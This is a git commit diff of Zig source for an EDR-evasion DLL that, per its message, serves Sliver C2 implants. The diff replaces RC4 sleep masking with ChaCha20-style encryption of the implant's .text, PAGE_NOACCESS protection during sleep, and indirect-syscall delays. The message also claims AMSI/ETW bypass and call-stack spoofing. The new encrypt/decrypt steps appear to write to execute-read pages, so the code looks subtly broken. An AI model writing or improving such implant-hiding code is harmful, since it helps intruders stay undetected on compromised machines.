Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

This commit is contained in:
2026-07-18 09:30:00 +01:00
parent fe2726a430
commit 7ecc30f1cd
24 changed files with 727 additions and 466 deletions
+41 -79
View File
@@ -2,103 +2,65 @@ const api = @import("api.zig");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");
var g_text_base: ?[*]u8 = null;
var g_text_size: usize = 0;
var g_go_text_base: ?[*]u8 = null;
var g_go_text_size: usize = 0;
// Called from Go reflective loader — DLL .text bounds.
pub fn init_text_region(base: [*]u8, size: usize) void {
g_text_base = base;
g_text_size = size;
const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8;
// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE.
fn padded_size(size: usize) win.ULONG {
const s: win.ULONG = @intCast(size);
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1);
}
// Called from Go — implant's own .text bounds.
pub fn init_go_text_region(base: [*]u8, size: usize) void {
pub fn init_text_region(base: [*]u8, size: usize) void {
g_go_text_base = base;
g_go_text_size = size;
}
fn encrypt_region(base: [*]u8, size: usize, key: *[16]u8) void {
var img: api.USTRING = .{
.Buffer = base,
.Length = @as(u32, @intCast(size)),
.MaximumLength = @as(u32, @intCast(size)),
};
var key_struct: api.USTRING = .{
.Buffer = key,
.Length = 16,
.MaximumLength = 16,
};
var base_ptr: ?*anyopaque = @ptrCast(base);
var region_size: win.SIZE_T = size;
var old: win.DWORD = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), &base_ptr, &region_size,
win.PAGE_READWRITE, &old,
);
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
}
fn decrypt_restore(base: [*]u8, size: usize, key: *[16]u8) void {
var img: api.USTRING = .{
.Buffer = base,
.Length = @as(u32, @intCast(size)),
.MaximumLength = @as(u32, @intCast(size)),
};
var key_struct: api.USTRING = .{
.Buffer = key,
.Length = 16,
.MaximumLength = 16,
};
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
var base_ptr: ?*anyopaque = @ptrCast(base);
var region_size: win.SIZE_T = size;
var old: win.DWORD = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), &base_ptr, &region_size,
win.PAGE_EXECUTE_READ, &old,
);
}
// RC4-encrypted sleep.
// Encrypts Go .text and DLL .text, sleeps via NtDelayExecution, decrypts both regions.
// Stack zeroing (EDR frame walk guard) is handled by the asm trampoline in hells_gate.s:
// it captures entry RSP, zeroes the return address before reaching us, and restores it
// after we return.
// Ref: SystemFunction032 (Windows RC4), ThreadStackSpoofer (mgeeky)
// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution,
// decrypts on wake. During sleep .text is PAGE_NOACCESS.
pub fn evasion_sleep(ms: u32) void {
var dll_key: [16]u8 = undefined;
var go_key: [16]u8 = undefined;
for (0..16) |i| {
dll_key[i] = @as(u8, @truncate(syscall.xorshift64()));
go_key[i] = @as(u8, @truncate(syscall.xorshift64()));
if (g_go_text_base == null or g_go_text_size == 0) {
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval);
return;
}
// Encrypt Go .text first if bounds are set.
if (g_go_text_base != null and g_go_text_size > 0) {
encrypt_region(g_go_text_base.?, g_go_text_size, &go_key);
}
const base = g_go_text_base.?;
const size = g_go_text_size;
const padded = padded_size(size);
// Encrypt DLL .text.
if (g_text_base != null and g_text_size > 0) {
encrypt_region(g_text_base.?, g_text_size, &dll_key);
// Encrypt .text with ChaCha20
if (api.sleep_SystemFunction040) |enc| {
_ = enc(base, padded, 0);
}
var ptr: ?*anyopaque = base;
var sz: win.SIZE_T = size;
var old: win.ULONG = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&ptr,
&sz,
win.PAGE_NOACCESS,
&old,
);
// Sleep via indirect syscall — no Go runtime active.
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval);
// Decrypt DLL .text.
if (g_text_base != null and g_text_size > 0) {
decrypt_restore(g_text_base.?, g_text_size, &dll_key);
}
ptr = base;
sz = size;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&ptr,
&sz,
win.PAGE_EXECUTE_READ,
&old,
);
// Decrypt Go .text.
if (g_go_text_base != null and g_go_text_size > 0) {
decrypt_restore(g_go_text_base.?, g_go_text_size, &go_key);
// Decrypt .text with ChaCha20
if (api.sleep_SystemFunction041) |dec| {
_ = dec(base, padded, 0);
}
@memset(&dll_key, 0);
@memset(&go_key, 0);
}